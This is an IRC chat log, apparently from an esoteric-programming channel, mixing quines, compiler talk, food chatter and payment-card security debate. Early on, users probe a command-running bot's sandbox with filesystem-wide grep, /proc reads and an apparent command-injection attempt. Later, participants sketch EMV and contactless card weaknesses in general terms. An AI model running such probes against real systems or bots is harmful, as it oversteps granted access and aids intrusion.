06:39:28 <HackEgo> :::::::::::::: \ bin/` \ :::::::::::::: \ exec bash -c "$1" \ :::::::::::::: \ bin/̊ \ :::::::::::::: \ echo hi \ :::::::::::::: \ bin/? \ :::::::::::::: \ #!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \
06:40:42 <HackEgo> xYzþ9zLɩ \ >.wpx'.3qJ3nI.%S*ҋ;I[RO-%H|)h~Q2vP5rP*GHuLZ0%lWWSh.8qLXz״:Ys>`G PNIt_qfaaF`Rjc%t9EGD%k""O'
06:41:02 <HackEgo> nooooodl is the correct spelling
06:41:17 <HackEgo> noooooooodl is the correct spelling
06:41:46 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: id;: not found
06:42:20 <Bike> run is ur friend
06:42:23 <quintopia> `? noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodl
06:42:24 <HackEgo> nooooooooodl is the correct spelling
06:42:44 <quintopia> how is it computing the number of o's to put
06:43:42 <Bike> fucking magic, imo
06:45:03 <HackEgo> warning: bad ps syntax, perhaps a bogus '-'? \ See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ \ PID TTY STAT TIME COMMAND \ 286 ? S 0:00 /init \ 288 ? S 0:00 sh -c 'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' '
06:45:24 <HackEgo> /hackenv/98076 /hackenv/a /hackenv/app.sh /hackenv/bdsmreclist /hackenv/bin /hackenv/canary /hackenv/cat /hackenv/complaints /hackenv/:-D /hackenv/dog /hackenv/etc /hackenv/factor /hackenv/fb /hackenv/fb.c /hackenv/head /hackenv/hello /hackenv/hello.c /hackenv/ibin /hackenv/index.html /hackenv/interps /hackenv/lib /hackenv/paste /hackenv/pref /h
06:45:41 <HackEgo> /hackenv/dog: UTF-8 Unicode text
06:46:05 <HackEgo> /hackenv/canary: ASCII text
06:46:32 <newsham> `run echo >/tmp/f; ls -ld /tmp/f
06:46:33 <HackEgo> -rw-r--r-- 1 5000 5000 1 Mar 8 06:46 /tmp/f
06:47:11 <newsham> `run file /hackenv/interps
06:47:12 <HackEgo> /hackenv/interps: directory
06:47:17 <HackEgo> 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda
06:47:32 <newsham> `run file /hackenv/interps/lambda
06:47:32 <HackEgo> /hackenv/interps/lambda: directory
06:47:38 <newsham> `run ls /hackenv/interps/lambda
06:47:39 <HackEgo> defs.pickle \ evaluator.py \ lambda.py \ parser.py \ README \ tokenizer.py \ USED_VERSION
06:47:58 <newsham> `run head /hackenv/interps/lambda/README
06:47:59 <HackEgo> Lambda calculus interpreter \ (c) Nikita Ayzikovsky, 2006 \ \ Usage: \ \ run lambda.py, which reads a single-line lambda calculus program from stdin. \ \ Syntax: \ \ A program can optionally contain any number of definitions, followed by
06:48:50 <newsham> `run ls /hackenv/interps/ghc/
06:49:00 <newsham> `run /hackenv/interps/ghc/runghc -v
06:50:43 <newsham> `run find / -type f -print0 |xargs -0 grep newsham
06:50:50 <HackEgo> find: `/proc/tty/driver': Permission denied \ find: `/proc/1/task/1/fd': Permission denied \ find: `/proc/1/task/1/fdinfo': Permission denied \ find: `/proc/1/task/1/ns': Permission denied \ find: `/proc/1/fd': Permission denied \ find: `/proc/1/fdinfo': Permission denied \ find: `/proc/1/ns': Permission denied \ find: `/proc/2/task/2/fd': Permissi
06:51:14 <newsham> `run (find / -type f -print0 |xargs -0 grep newsham) 2>/dev/null
06:51:44 <HackEgo> Binary file /proc/288/task/288/cmdline matches \ Binary file /proc/290/task/290/cmdline matches
06:53:57 <newsham> `run cat /proc/cmdline /proc/version
06:53:58 <HackEgo> initrd=/usr/bin/../lib/umlbox/umlbox-initrd.gz ubda=/tmp/19304.conf mem=256M con1=null,fd:3 con2=fd:5,fd:8 con=null,null root=98:0 \ Linux version 3.13.0-umlbox (hackbot@codu) (gcc version 4.7.2 (Debian 4.7.2-5) ) #1 Wed Jan 29 12:56:45 UTC 2014
06:55:23 <HackEgo> agpgart audio audio1 audio2 audio3 audioctl console core dsp dsp1 dsp2 dsp3 fd full kmem loop0 loop1 loop2 loop3 loop4 loop5 loop6 loop7 mem midi0 midi00 midi01 midi02 midi03 midi1 midi2 midi3 mixer mixer1 mixer2 mixer3 mpu401data mpu401stat null port ptmx pts ram ram0 ram1 ram10 ram11 ram12 ram13 ram14 ram15 ram16 ram2 ram3 ram4 ram5 ram6 ram7 ram
06:57:19 <HackEgo> processor: 0 \ vendor_id: User Mode Linux \ model name: UML \ mode: skas \ host: Linux codu 3.2.0-4-amd64 #1 SMP Debian 3.2.46-1+deb7u1 x86_64 \ bogomips: 2151.21
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07:03:41 <HackEgo> ls: cannot access /sys/kern/debugfs: No such file or directory
07:03:47 <HackEgo> none on /bin type hostfs (ro,nosuid,relatime,/bin/) \ none on /usr type hostfs (ro,nosuid,relatime,/usr/) \ none on /dev type hostfs (ro,nosuid,relatime,/dev/) \ none on /opt type hostfs (ro,nosuid,relatime,/opt/) \ none on /lib type hostfs (ro,nosuid,relatime,/lib/) \ none on /sbin type hostfs (ro,nosuid,relatime,/sbin/) \ none on /lib64 type host
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07:11:34 <Bike> can you do this in /msg
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09:47:08 <zzo38> Do you know if GCC can optimize uses of strlen? Such as x+=strlen(x); and so on
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10:00:55 <zzo38> Here is a quine in SQL: with q(q) as (select 'with q(q) as (select ''#'') select replace(q,x''23'',replace('''''''','''''''''''')) from q;') select replace(q,x'23',replace(q,'''','''''')) from q;
10:01:26 <zzo38> There are a lot of apostrophes in it, and a lot in a line at once
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10:29:17 <fizzie> zzo38: I'm not sure it can really optimize x += strlen(x), though I know it can "constant-fold" strlen out if it can determine at compile-time the length of the string.
10:30:07 <Jafet> Well, it can optimize any further usage of x.
10:32:25 <fizzie> It does seem to turn void f(char *x) { x += strlen(x); *x = 'a'; *(x+1) = 0; } into the relatively literal call strlen; add sequence rather than call some strlen-like function that'd directly return a pointer to the end, I mean.
10:33:43 <fizzie> The hypothetical function would probably be called stplen by way of analogy from strcpy/stpcpy.
10:34:23 <fizzie> (Or maybe not. Having "len" in the name would be kind of confusing.)
10:38:38 <itsy> Anyone interested in entering the Robot Battle tournament? http://www.robotbattle.com/registry/index.php?act=calendar&code=showevent&eventid=64
10:39:42 <Jafet> For a moment, I thought that involved actual robots
10:40:35 <itsy> Not quite. It's similar to Robocode, RobotWar, CROBOTS, etc.
10:41:31 <fizzie> zzo38: Jafet: Also when doing -Os (which makes it inline the strlen), gcc seems to do a rather suboptimal (string in rdi) or rcx, -1; mov rdx, rdi; repnz scasb; not rcx; lea rax, [rdx+rcx-1] rather than just using the resulting rdi value from the repnz scasb.
10:41:59 <oerjan> <Bike> i'm like 80% haskell's in there somewhere. <-- dammit Gregor
10:42:53 <Jafet> “Powered by Invision Power Board v1.1.2 © 2003” I can't even remember what exploits to use from that long ago
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10:53:40 <oerjan> newsham: most of the stuff int /hackenv/interp is basically copies of stuff in EgoBot; only some of it actually _works_ after the move.
10:54:30 <oerjan> @tell newsham most of the stuff int /hackenv/interp is basically copies of stuff in EgoBot; only some of it actually _works_ after the move. and ghc obviously stopped working when HackEgo itself was moved.
10:58:47 <fizzie> `run python -c 'import sys; print sys.maxunicode'
10:59:28 <oerjan> wait does that mean something actually _improved_ in the move?
10:59:58 <HackEgo> [U+1D0B3 BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS TETARTOS ICHOS]
11:00:56 <fizzie> `run sed -i -e 's/{1,4}/{1,5}/' bin/unicode # well in that case!
11:01:14 <HackEgo> #!/usr/bin/env python \ # -*- encoding: utf-8 -*- \ import re \ import sys \ import unicodedata \ def l(c): m = re.match('(?:U+)?([0-9a-f]{1,5})$', c, re.I); return unicodedata.lookup(c) if m is None else unichr(int(m.group(1),16)) \ try: \ print u''.join(map(l, sys.argv[1:])).encode('utf-8') \ except KeyError: \ print u'Unknown characte
11:02:06 <fizzie> `run unidecode $(unicode 12345)
11:02:07 <HackEgo> [U+12345 CUNEIFORM SIGN URU TIMES KI]
11:05:44 <fizzie> Fortunately, none of the current Unicode character names of length <= 5 (ARC, LEO, NOR, SUN, XOR, ANKH, FUSE, GEAR, JOIN, JUNO, MINY, NAND, TINY, TRUE, ANGLE, ARIES, BREVE, CARET, CARON, CERES, CLOUD, COLON, COMET, COMMA, EARTH, FROWN, HOUSE, LIBRA, NABLA, PLUTO, PRIME, RATIO, SLOPE, SMILE, SPACE, TILDE, UNION, VESTA, VIRGO, WATCH) consists of hexadecimal digits only.
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11:22:06 <fizzie> `run python3 --version # maybe...
11:22:06 <HackEgo> bash: python3: command not found
11:22:13 <fizzie> Well, okay, no, let's not get too greedy here.
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12:27:29 <oerjan> i hope y'all agree that "Seosniperdotnet" is an unacceptable username. although i _guess_ it could be ironic.
12:29:07 <elliott> they're just an anti-capitalist, they want to nip CEOs in the bud and also can't spell
12:29:39 <elliott> look I spent a long time trying to think of a better pun reading of it than that okay!
12:30:49 <elliott> imagining a terrible esolang based solely on okays and help-related initialisms, right now
12:31:01 <Jafet> I've heard of corporate “head hunting”, but this is a bit too much.
12:31:41 <oerjan> elliott: maybe it's a Sgeo sniper. who knows who may have angered.
12:33:26 <elliott> a Sgeo sniper with broken d and . keys
12:35:47 <oerjan> where is there a broken d key?
12:36:26 <oerjan> you've been awake all night, right?
12:37:10 * oerjan brings out the gotobedinator
12:37:45 <elliott> d is basically an upside down g, okay?
12:38:01 <elliott> you're not wrong though. I have been up all night.
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13:11:18 <Taneb> elliott, did you get lucky?
13:14:57 <Taneb> Meanwhile, I don't know where I will be living after july and that scares me
13:15:09 <fizzie> elliott: Did you at least have some "good fun"?
13:15:16 <fizzie> As opposed to bad fun, I guess.
13:16:06 <ion> I bet elliott likes bad fun.
13:35:52 <nooodl> ion are you saying guns are good fun
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17:51:59 <Sgeo> Should I eat what I usually eat or should I try something new, that I haven't tried in years?
17:58:35 <Sgeo> <nisstyre> So I saw that Wolfram Language thing and one of the things he's claiming to be revolutionary is the ability to easily mix images and code
17:58:35 <Sgeo> <nisstyre> apparently Wolfram also has an irrational hatred for Lisp, not surprised
17:59:13 <nisstyre> if it's not obvious to others, you can do that in Racket
17:59:57 <Melvar> How would that even work?
18:00:20 <nisstyre> Melvar: you can copy and paste images into DrRacket and manipulate them as normal data, they get serialized in a string form in the source file
18:00:57 <nisstyre> they're meant to be opened with DrRacket
18:03:42 <Melvar> Do they get transcoded to some specific format, or do you need to have the editor and libraries know every image format?
18:09:29 <Sgeo> I've been tempted to buy French Toast Crunch from Canada, real French Toast is probably better
18:11:46 <nisstyre> Sgeo: yes probably, and with real maple syrup to put on it
18:12:01 <Sgeo> Maple syrup goes on french toast?
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18:12:17 <Sgeo> Is this something the bagel place would... do? Would they give me maple syrup when I order french toast?
18:12:21 <Sgeo> How does this work?
18:12:33 <Sgeo> (The bagel place sells french toast. I don't know why)
18:14:06 <nisstyre> Sgeo: I don't know what bagel place you're referring to
18:14:22 <Sgeo> http://www.stuffabagel.com/
18:14:58 <Sgeo> I don't really need maple syrup
18:15:03 <Sgeo> If they give it to me that's fine
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18:15:32 <Sgeo> Does French Toast have dairy?
18:17:48 <Sgeo> Can't hurt to take another Lactaid
18:17:57 <Sgeo> I already had a buttered bagel today
18:18:08 <Sgeo> I only recently learned that butter is dairy
18:25:24 <Sgeo> http://www.fark.com/comments/8171751/Manhunt-closed-streets-campus-lockdown-canceled-classes-all-due-to-what-police-call-a-high-end-game-of-telephone
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18:47:32 <b_jonas> sqlite3 quine (I'd like to the mailing list archives but it seems it's readable only for members) => http://dpaste.com/1703632/
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18:48:18 <b_jonas> go subscribe the list and write a better one than the ones already posted
18:48:22 <b_jonas> possibly a shorter non-empty one
18:48:39 <b_jonas> but I'd like to see interesting not necessarily short ones as well
18:52:41 <b_jonas> the corresponding perl quine is: print+("print+(","\"",",","\\",")[g1012131121212133121414=~/./g]")[g1012131121212133121414=~/./g]
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19:28:38 <FireFly> https://mail.python.org/pipermail/python-ideas/2014-March/026446.html this is just silly...
19:28:49 <oerjan> <b_jonas> sqlite3 quine [...] <-- that looks rather longer than zzo38's SQL quine he recently pasted
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19:29:38 <oerjan> <zzo38> Here is a quine in SQL: with q(q) as (select 'with q(q) as (select ''#'') select replace(q,x''23'',replace('''''''','''''''''''')) from q;') select replace(q,x'23',replace(q,'''','''''')) from q;
19:30:50 <oerjan> i don't know either SQL or sqlite3 so i don't know if that would be legal in the other
19:32:18 <oerjan> that perl quine reminds me of the Glass quine i wrote, although the numbers mean something completely different.
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19:39:12 <Sgeo> They gave me 'Breakfast syrup', and butter packets
19:39:20 <Sgeo> Barely used the butter packets, used one breakfast syrup
19:39:23 <b_jonas> here's another sqlite quine: http://dpaste.com/1703768/
19:40:12 <b_jonas> but again, the point of this quine with the numbers is that the same general idea can be implemented in almost any non-esoteric programming language
19:40:14 <Sgeo> I think the first dpasted sqlite quine isn't intended to be the best SQL quine, but just one made using a generic method to make quines
19:40:39 <b_jonas> how many numbers you need differs wildly, but it's still possible
19:44:04 <b_jonas> here's another perl one: print+("\\","\"",",","print+(",")[3,1,0,0,1,2,1,0,1,1,2,1,2,1,2,1,3,1,2,1,4,1,4]")[3,1,0,0,1,2,1,0,1,1,2,1,2,1,2,1,3,1,2,1,4,1,4]
19:45:32 <b_jonas> wow, I didn't even remember this crazy unpack quine: http://www.perlmonks.com/?node_id=835076
19:46:27 <b_jonas> the thread for that has nice perl quines by other authors
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20:04:55 <zzo38> oerjan: That SQL quine I wrote is for SQLite.
20:06:10 <zzo38> If you have SQLite then you can even try it by yourself.
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20:11:40 <zzo38> b_jonas: That SQL quine is good too
20:12:24 <zzo38> The one you posted at http://dpaste.com/1703768/
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20:41:52 <Sgeo> There seems to be a thing called Agorism. It is unrelated to Agora
20:43:10 <Taneb> Is it related to the original meaning of the word "agora"?
20:45:52 <oerjan> yes, "Agorists consider their message to be scientific because science is an appeal to reason, which they believe is only possible in the Agora or free market."
20:48:03 <oerjan> which reminds me that i'm fairly sure (wait, shouldn't i be saying "vaguely recall" somewhere?) i saw a yudkowsky post about the distinction between professing rationalism and actually being rational.
20:48:44 <Sgeo> "I wonder, if someone generated a list with all possible credit card PIN codes, would people panic too?"
20:49:12 <oerjan> bloody neighbors making maybe-party noises again.
20:49:44 <zzo38> Sgeo: Are they still limited to four digits or are longer passwords possible?
20:49:48 <oerjan> > replicateM 4 ['0'..'9']
20:49:50 <lambdabot> ["0000","0001","0002","0003","0004","0005","0006","0007","0008","0009","0010...
20:50:00 * oerjan ogles at idris-ircslave
20:50:02 <Sgeo> Still limited to 4 digits. It was someone commenting on http://directory.io
20:50:12 <Sgeo> Which lists all Bitcoin addresses and their private keys
20:51:28 <oerjan> ah a library of babel prank
20:53:18 <int-e> > [0..] >>= (`replicateM` "01")
20:53:19 <lambdabot> ["","0","1","00","01","10","11","000","001","010","011","100","101","110","1...
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20:54:16 <Sgeo> I guess I should try to get our own idris bot up at some point
20:55:05 <int-e> or one of the bots has to learn channel-specific prefixes. *coughs*
20:55:40 <oerjan> @run "it's not that hard if we just remember..."
20:55:42 <lambdabot> "it's not that hard if we just remember..."
20:56:31 <int-e> idris-ircslave: > 1
20:56:53 <int-e> so how do we "solve" the other half of the "problem"?
20:56:58 <elliott> has anyone used idris-ircslave except to see it break lambdabot
20:58:53 <zzo38> Sgeo: Did they actually create the database or calculate it when the file is requested? If it is an actual database I expect it would require way too much disk space more than you have, and if they could even do that, why is it indexed by private key?
20:59:27 <Sgeo> Calculated on request.
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21:00:19 <zzo38> Sgeo: Yes, it is what I thought, otherwise it would not only be very difficult but they wouldn't index it by private key.
21:03:13 <fizzie> I think there exist some EMV cards that have six-digit PINs.
21:04:30 <fizzie> Anecdotal evidence from the Internet: "Swiss banks issue debit cards with 6 digit PIN. In Italy 5 digit PIN are common."
21:05:47 <fizzie> (Equally anecdotally, there are some PIN entry terminals that have problems with >4 digits.)
21:06:40 <oerjan> there is something bloody fishy about my laptop's brightness control
21:07:19 <oerjan> as in, it's been gradually requiring me to slide it more and more down not to be too bright, and now it's all the way down
21:08:57 <oerjan> i'm thinking i should turn it all the way up and wait until it resets itself to normal while still there. but i don't know how long i'll have to wait.
21:09:34 <FreeFull> Could be broken firmware or such
21:10:37 <zzo38> I think you should allow the password to be 4 digits at minimum and perhaps 16 digits at maximum.
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21:11:06 <elliott> oerjan: your laptop is becoming a star. this is perfectly expected behaviour
21:11:56 <zzo38> Even regardless of the length of the password, the current "chip and PIN" system just isn't really that much more secure than the old system.
21:12:54 <zzo38> The merchant can still steal passwords, or display an incorrect price, and then if someone physically steals the card they can use it.
21:14:10 <zzo38> I have once designed a better system, but I just wrote it on a paper. It involves the keypad having a port on it that the customer can connect their own keypad to instead of swiping a credit card (swiping a card is still provided, but isn't needed).
21:14:13 <FreeFull> Card skimmers will still exist
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21:17:47 <zzo38> Yes, although my system would make it more secure for people who have opted the high security option and have programmed their own keypads rather than using the merchant's keypads.
21:18:18 <Sgeo> How do you avoid skimming at the separate port?
21:20:00 <fizzie> With crypto, presumably.
21:20:39 <fizzie> You just have the merchant's terminal send out transaction details, which your self-programmed keypad device then shows for you for verification, and then signs.
21:21:01 <elliott> or you could just make the cards do crypto.
21:21:33 <zzo38> By using a secure protocol. You could still charge someone and give them no product (which is much more easily caught, though), but the transaction and amount goes through the port, so you cannot be charge a wrong amount and the password (which doesn't even have to be a normal password) cannot be caught.
21:21:45 <zzo38> fizzie: Yes, mainly like that.
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21:25:42 <fizzie> The EMV cards do crypto, at least, so you shouldn't be able to "skim" cards so that you can clone one. (But you obviously can catch the PIN. And there are some assorted vulnerabilities; like you used to be able to make a terminal that reads the magnetic stripe data during the chip transaction, so you catch both the PIN and a stripe-only copy, and then just do the stripe fallback thing.)
21:27:07 <fizzie> (And there was some skip-PIN-entry thing, too.)
21:30:15 <zzo38> And if the terminal steals the password and then you can physically steal the card and use that, and then you could still alter the price to display the wrong amount.
21:31:56 <fizzie> My credit card got misused once, but as far as I know it was really just old-fashioned stuff; using it in webshops where just knowing the number is enough.
21:33:21 <zzo38> That is why, that is no good. It should be made, the customer can opt for a high-security option at the time the card is issued (and then they will have a private key which they can program into their own devices).
21:33:42 <zzo38> It works for internet too; the same transaction is possible over internet just as easily.
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21:37:43 <zzo38> However, for internet there is a better way I can think of: You would use SSH to connect to your account and then issue a SPLIT command in order to make the payment. It can forward to the recipient similar to how SMTP does it.
21:46:00 <Sgeo> Ugh, it feels like I've been doing nothing but eating all day
21:46:30 <Sgeo> Which is certainly better than not eating all day, at least
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22:48:54 <Sgeo> Why does Randall Munroe advertise games?
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22:50:30 <Sgeo> http://xkcd.com/721/
22:50:52 <Sgeo> http://xkcd.com/721/
22:51:01 <ion> Why does Sgeo advertise xkcd?
22:51:02 <Sgeo> "The game is currently in development and the goal is to release it in downloadable form for consoles and PC/Mac/Linux. There is no announced date and platform yet. There is no publicly released demo at this point. There will be one when the game is released though, so please be patient :) Thanks."
22:52:47 <zzo38> That's silly. Linux is a operating system kernel, which can run on many kind of computer. PC is a computer, which can run many operating systems. (Mac is both kind)
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22:55:02 <zzo38> (It might be sensible if "PC" means it is a bootable file, and "Linux" means it is provided in a source file that is portable to any Linux systems, but this isn't commonly the case; especially game programs need to know about the hardware too and not just the Linux kernel.)
22:55:53 <Sgeo> I think the person who wrote it was using PC to indicate 'Windows'. Language shifting with usage..
22:56:20 <Sgeo> Also, I was more quoting because I was hoping the game was released, and sad that it isn't
22:56:51 <zzo38> Yes, but it is a bad way, and anyways there are different version of Windows getting confusing too now
22:57:19 <Bike> yeah what if the game is for DOS, Mac OS 7, and Minix. c'mon
23:21:14 <FreeFull> What if the game is for KolibriOS?
23:25:09 <Sgeo> I should try NetHack 4
23:25:29 <Sgeo> Although as far as I'm concerned, the name is an April 1st joke
23:26:46 <oerjan> now you'll make ais523 sad
23:27:38 <Taneb> I should learn to play nethack at some point
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23:34:10 <b_jonas> Sgeo: the name is half serious half joke (you should be used to that in #esoteric)
23:39:11 <b_jonas> zzo38: there is sort of a cheap way to do that. I think there's a planned design where the credit card hardware itself has a switch the human can trigger to enable wireless "paypass" transactions. you could similarly have multiple switches for different orders of magnitude of payment via terminal,
23:39:35 <b_jonas> though it'd be a bit difficult to fit them all on a standard sized credit card.
23:41:49 <zzo38> That wireless would make it worse.
23:42:01 <b_jonas> zzo38: the wireless _does_ make it worse already
23:42:17 <zzo38> Yes, I agree it would make it much worse already
23:42:40 <b_jonas> one is that with a non-standard wireless terminal you can access debit cards without the knowledge of the owner,
23:43:24 <b_jonas> the other is that it doesn't require a pin for low amount transactions, and the amount limit for this can't even be defined by the owner
23:44:08 <Taneb> Twitch Plays Nethack would be interesting
23:44:58 <b_jonas> I don't understand why, because it seems as if it should be technically possible:
23:45:08 <zzo38> b_jonas: Those aren't the only problems with it.
23:45:30 <b_jonas> wireless "paypass" payment requires a connection to the bank afterall, so couldn't they technically query the limit I set?
23:45:50 <b_jonas> there's already a limit for purchases that I can define and override,
23:46:07 <b_jonas> so why can't they add a separate limit for pin-less purchases?
23:46:34 <b_jonas> (and yeah, the ability to set a longer pin would also be nice)
23:46:43 <b_jonas> zzo38: what other problems then?
23:47:18 <Sgeo> "Rumors that Pat has since been executed by the other DevTeam members for these frequent breaches of secrecy remain unconfirmed.
23:47:57 <zzo38> The problem is that *they* are defining the limits and lengths and everything like that. Also, wireless has several security issues: You could interfere with a payment, whether or not a switch is required. And soneone who steals the card can still use the switch, so it still doesn't help.
23:48:05 <zzo38> And if there are multiple cards, they will interfere with each other, too.
23:48:45 <b_jonas> zzo38: yes, the switch helps against attackers who try to use non-standard terminals to access your card without your knowledge
23:49:07 <zzo38> b_jonas: Yes, but that won't affect against interference.
23:49:30 <fizzie> AIUI, people are already using foil-lined wallets for that.
23:49:53 <b_jonas> zzo38: for a stolen card, it's the amount limit for pin-less transaction that protects you, and the ability to revoke your card if it's stolen
23:50:19 <b_jonas> fizzie: I don't think foil-lined really works. it's like tinfoil hats.
23:50:25 <zzo38> My proposal is to keep the present (non-wireless) system and then require the bank to provide a "high security" option to customers who request it; they would use their own private key to program their own devices (using protocols with public specifications), and can define the limits and password (or other method) yourself.
23:50:48 <fizzie> b_jonas: I was under the impression that some of them even did something, but I certainly haven't investigated this.
23:51:05 <b_jonas> fizzie: some of them probably do
23:51:16 <b_jonas> fizzie: just lining your purse with tinfoil doesn't
23:53:35 <zzo38> b_jonas: Someone could still make many small transactions, especially if the merchant steals it. The ability to revoke your card helps, but still not quite enough. You could not notice it has been stolen (especially if he is good at returning it in secret too, and/or if it is wireless, even if it does have switches), or it could be disputed too much.
23:54:09 <fizzie> "Our reporter offered her own homemade shield constructed of duct tape and lined with aluminium foil. It provided better protection than eight of the 10 commercial products, including a stainless-steel “RFID blocking” wallet selling online for about $60."
23:56:01 <b_jonas> zzo38: I must say though that I'm more worried about having my id card or keys stolen:
23:56:06 <zzo38> Higher security should be applied to cheques too, by (if the account holder requests it), requre a digital signature to be written on the cheque.
23:56:40 <b_jonas> an id card can be misused way more than a bank card, including an attacker walking into the bank and getting cash from my account without a limit,
23:57:19 <b_jonas> has a long expiry time so it can be abused for a very long time, and I'm not confident I can cancel it everywhere effectively,
23:57:40 <zzo38> If someone steal money I have in my pocket, they cannot steal anything more than what I got. Furthermore, I don't carry any ID card when I don't need it so therefore nobody can use it.
23:57:54 <b_jonas> the keys let an attacker steal more stuff from the apartment, and the locks are difficult to replace.
23:58:12 <zzo38> Yes, that is true.
23:58:17 <b_jonas> zzo38: I can't not carry an id card. I don't carry a card with my home address when I don't need it.
23:58:19 <zzo38> The lock could also be broken or tampered with
23:58:39 <b_jonas> zzo38: and people who drive _really_ can't choose to not carry an id card.
23:58:50 <zzo38> Yes, you do need a driving license
23:58:53 <b_jonas> I don't drive, but even I need one.
23:59:18 <zzo38> But you can try to tell the bank not to accept a driving license as a valid ID for your account.
23:59:35 <b_jonas> the lock could be tampered, but it's easier to destroy the balcony door than to tamper with the lock.
00:00:23 <zzo38> If the key to your house also requires a password, the password would be inside on your own keypad so it is harder to steal than credit card passwords.
00:00:44 <zzo38> Especially if you don't use the police connections they provide, and install your own instead.
00:00:48 <b_jonas> zzo38: I have to have the bank accept at least one of my ids, because I have to be able to have business with them. I can probably tell them not to accept a card once it's stolen, but I'm not quite confident they would comply.
00:00:55 <zzo38> Such thing can confuse people who try to enter without permission.
00:01:36 <zzo38> b_jonas: Yes, one ID may be needed, but it can be a different one than normally is.
00:01:45 <b_jonas> what? you can't practically have your key require a password, because then you'd risk shutting yourself outside drunk after a party.
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00:02:09 <zzo38> I don't like to get drunk.
00:02:45 <zzo38> And the password would be on the inside of the door so after you open the door you have to push it in, making it harder for other people to watch from the outside.
00:03:06 <zzo38> Maybe make the bank ID that requires to be sealed with a password and/or digital signature.
00:03:07 <b_jonas> zzo38: that might be true, though I'm not sure it's practical because there's a limit on the number of id cards I can have (probably 4) and I need them for many things. it's still a good idea and worth to investigate.
00:03:49 <zzo38> There is an article in 2600 where he replaces some of his cards every few months, and uses his passport mainly as ID
00:04:17 <b_jonas> also, you need some sort of plan for what to do with the bank if that ID you use for the bank is stolen.
00:04:36 <b_jonas> I'm not sure how that could work.
00:04:55 <zzo38> I also prefer to pay in cash in most thing, although I do have a bank account too.
00:05:09 <b_jonas> paying for cash for everything is expensive.
00:05:46 <zzo38> Why is it expensive to do that in Europe?
00:06:16 <b_jonas> and if you pay in cash for everything, you have to carry lots of cash often, which means you very likely lose more if it's stolen then if they steal your cards.
00:06:38 <zzo38> You only have to carry the money you use, not all of it.
00:07:12 <zzo38> And if it money with holes so it can be tied to your clothing then it is more difficult to steal.
00:07:17 <b_jonas> sure, and I don't have to carry much because I can pay with a card if necessary, especially for high valued transactions.
00:07:57 <b_jonas> as for tied to your clothing, well sure, not exactly tied, but I do make my valuables physically hard to steal,
00:08:09 <zzo38> You can pay by card if you prefer
00:08:13 <b_jonas> unlike some of the women with open purses you can see walking around here a lot.
00:08:17 <zzo38> If you can tie the card in a similar way it is just as hard to steal.
00:08:47 <zzo38> But the merchant can still commit credit card fraud on you.
00:09:18 <zzo38> (For example, by displaying "TRANSACTION FAILED" even though it is actually approved.)
00:09:20 <fizzie> Finland is in Europe, and I don't think paying everything you'd go out and physically but with cash would really cost any more than paying by card. With the exception of bus tickets, where it's cheaper to get the (wireless) card.
00:09:27 <b_jonas> no, he can commit a debit card fraud, which is worse. this is Europe, don't forget. we don't have checks here, and credit cards aren't so common.
00:09:55 <zzo38> Yes, debit card fraud too.
00:09:56 <fizzie> That "but" in there is supposed to be a "buy".
00:11:07 <zzo38> If I run a business I would wish to encourage customers to pay by cash.
00:11:56 <b_jonas> zzo38: sure, for a business it's cheaper if the customer pays by cash, but for a customer it's cheaper to pay by card.
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00:12:16 <fizzie> Why is it cheaper to pay by card, exactly?
00:12:22 <zzo38> I am not talking about if it is cheaper or not
00:12:39 <zzo38> I want the customer to pay in cash to avoid tracing the credit card.
00:13:07 <zzo38> Possibly you can take advantage of rounding laws in places that have them.
00:13:12 <b_jonas> fizzie: because you pay for getting the cash from the bank; whereas I don't pay for paying with a card, the vendor is paying for the transaction, and also for the card terminal equipment and internet connection.
00:13:24 <fizzie> I don't pay for getting the cash from the bank.
00:13:31 <fizzie> And people generally don't.
00:13:50 <fizzie> There are some ATMs with transaction fees, but they're quite rare.
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00:14:21 <zzo38> I also don't pay for getting the cash from the bank, because it is a credit union and the law in BC is that you don't pay if you withdraw from credit unions, whether or not you are using ATM, and if you are using a ATM, even if it is one for a different credit union.
00:14:36 <b_jonas> fizzie: you do pay if you wanted to use cash for everything. you can avoid most in practice by paying with a card.
00:14:59 <zzo38> Sometimes I keep the money in my desk drawer anyways; I don't always keep all of it in the bank anyways.
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00:15:25 <b_jonas> zzo38: do you pay a monthly fee for having such a bank account or card for which you don't pay for getting cash without any limits
00:16:30 <zzo38> b_jonas: No, I don't pay a monthly fee either. But I do pay shareholding fees, which is just a one-time fee, however.
00:16:58 <fizzie> I pay a (small) monthly fee, but that's not related to any specific no-withdrawing-fees account/card.
00:17:07 <zzo38> You need shareholding fees to have an account, and since I paid shareholding fees, they keep sending me stuff to vote for their board of directors, even though I have told them I don't care at this time.
00:18:19 <fizzie> It's very country-specific, of course.
00:19:09 <b_jonas> it's also very country-specific how many vendors let you pay by card
00:19:30 <b_jonas> here I shop in lots of places where I can't pay by card
00:19:54 <b_jonas> not so many as to cause a serious problem, but still
00:20:24 <zzo38> Sometimes people with me insist to pay by card, and I then pay them bach with cash afterward (and I always demand exact change).
00:20:59 <fizzie> Personally, I only use cash in the university restaurants, because it's still slower to type a PIN and wait for the on-line confirmation, and those places always have queues.
00:21:30 <b_jonas> fizzie: those places also sometimes don't have change when you pay by cash
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00:22:19 <b_jonas> which is why I usually carry 2000 forint banknotes instead of larger ones, so I don't meet this no change problem at such places
00:24:47 <Sgeo> fizzie: cross-bank ATM withdrawals take fees
00:25:00 <fizzie> There's about 14 or so places on the campus (operated by maybe 5-6 different companies), and they all have their own "buy 10 tickets in advance" programs that are completely incompatible.
